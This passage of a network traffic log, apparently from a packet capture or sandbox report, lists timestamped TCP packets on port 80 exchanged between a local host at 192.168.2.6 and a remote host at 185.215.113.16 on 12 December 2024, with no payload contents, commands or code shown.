Dec 12, 2024 21:50:28.738539934 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.738583088 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.738614082 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.738662004 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.739587069 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.739643097 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.739675045 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.739768028 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.740619898 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.740673065 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.740708113 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.740747929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.741662025 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.741705894 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.741826057 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.741866112 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.742707968 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.742758989 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.742845058 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.742883921 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.743772984 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.743813992 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.743899107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.743961096 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.744828939 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.744870901 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.744945049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.744985104 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.745928049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.745970964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.745987892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.746035099 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.746929884 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.746978045 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.747051954 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.747147083 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.747935057 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.747996092 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.748074055 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.748115063 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.749051094 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.749115944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.749245882 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.749473095 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.750098944 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.750158072 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.750257015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.750581980 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.751188993 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.751230955 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.751266956 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.751307011 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.752175093 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.752218962 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.752351999 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.752393961 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.753186941 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.753309011 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.753329039 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.753375053 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.754246950 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.754301071 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.754368067 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.754467964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.755268097 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.755326033 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.755381107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.755477905 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.756441116 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.756505013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.756524086 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.756562948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.757397890 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.757453918 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.757514954 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.757555008 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.758403063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.758470058 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.758523941 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.758615017 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.759491920 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.759588003 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.759622097 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.759742975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.760507107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.760586977 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.760623932 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.760725975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.761610985 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.761677027 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.761689901 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.761780024 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.762589931 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.762631893 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.762708902 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.762912989 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.763633966 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.763734102 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.763783932 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.764744043 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.764833927 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.764848948 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.764887094 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.765835047 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.765883923 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.765902042 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.765949965 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.766808033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.766927958 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.766956091 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.766968966 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.767823935 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.767880917 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.767951965 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.768007994 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.768882990 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.768944025 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.768975019 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.769021034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.769937038 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.769990921 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.770030975 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.770087957 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.770989895 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.771035910 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.771097898 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.771241903 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.772114038 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.772156954 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.772180080 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.772243023 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.773068905 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.773111105 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.773173094 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.773211002 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.774137974 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.774175882 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.774238110 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.774365902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.775187016 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.775229931 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.775281906 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.775326967 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.776212931 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.776257992 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.776345015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.776495934 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.777252913 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.777297020 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.777364016 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.777524948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.778345108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.778389931 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.778469086 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.778516054 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.779375076 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.779424906 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.779516935 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.779552937 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.780394077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.780432940 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.780527115 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.780564070 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.781502008 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.781542063 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.781622887 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.781660080 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.782506943 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.782552958 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.782584906 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.782633066 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.783663988 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.783718109 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.783721924 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.783759117 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.784667015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.784710884 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.784746885 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.784781933 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.785691023 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.785742044 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.785809994 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.785850048 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.786768913 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.786822081 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.786855936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.787583113 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.924791098 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.924803019 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.924913883 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.925034046 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.925091028 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.925216913 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.925256968 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.926075935 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.926115990 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.926183939 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.926225901 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.927058935 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.927192926 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.927221060 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.927234888 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.928133965 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.928179979 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.928211927 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.928330898 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.929167032 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.929209948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.929253101 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.929291964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.930234909 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.930279970 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.930365086 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.930402994 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.931330919 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.931375027 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.931469917 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.931581020 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.932324886 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.932372093 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.932460070 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.932497978 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.933459044 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.933511972 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.933576107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.933625937 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.934636116 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.934675932 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.934820890 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.934860945 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.935684919 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.935725927 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.935905933 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.935945034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.936676979 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.936721087 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.936753035 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.936892033 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.937680960 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.937752008 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.937758923 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.937971115 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.938703060 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.938802958 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.938865900 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.938926935 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.939634085 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.939677000 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.939762115 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.939987898 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.940701008 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.940740108 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.940826893 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.940948963 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.941761971 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.941807985 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.941843987 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.941884041 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.942882061 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.942919970 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.942954063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.943042040 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.943841934 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.943902969 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.943994999 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.944036007 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.945002079 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.945059061 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.945063114 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.945094109 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.946037054 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.946080923 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.946091890 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.946118116 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.946969032 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.947007895 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.947077990 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.947114944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.948060036 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.948112965 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.948263884 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.948354959 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.949099064 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.949223042 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.949249983 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.949261904 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.950119972 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.950160027 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.950239897 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.950306892 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.951200962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.951246977 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.951277971 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.951453924 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.952222109 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.952306032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.952321053 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.952383995 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.953273058 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.953316927 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.953385115 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.953511000 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.954344988 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.954391003 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.954459906 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.954576015 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.955410957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.955456018 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.955488920 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.955528975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.956497908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.956542015 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.956578016 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.956624031 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.957484961 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.957545996 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.957624912 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.957705975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.958539963 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.958585024 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.958633900 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.958679914 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.959575891 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.959700108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.959753990 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.960719109 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.960763931 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.960855007 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.960966110 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.961692095 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.961755037 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.961786032 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.961836100 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.962737083 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.962796926 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.962832928 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.962899923 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.963774920 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.963848114 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.963886976 CET	80	49919	185.215.113.16	192.168.2.6
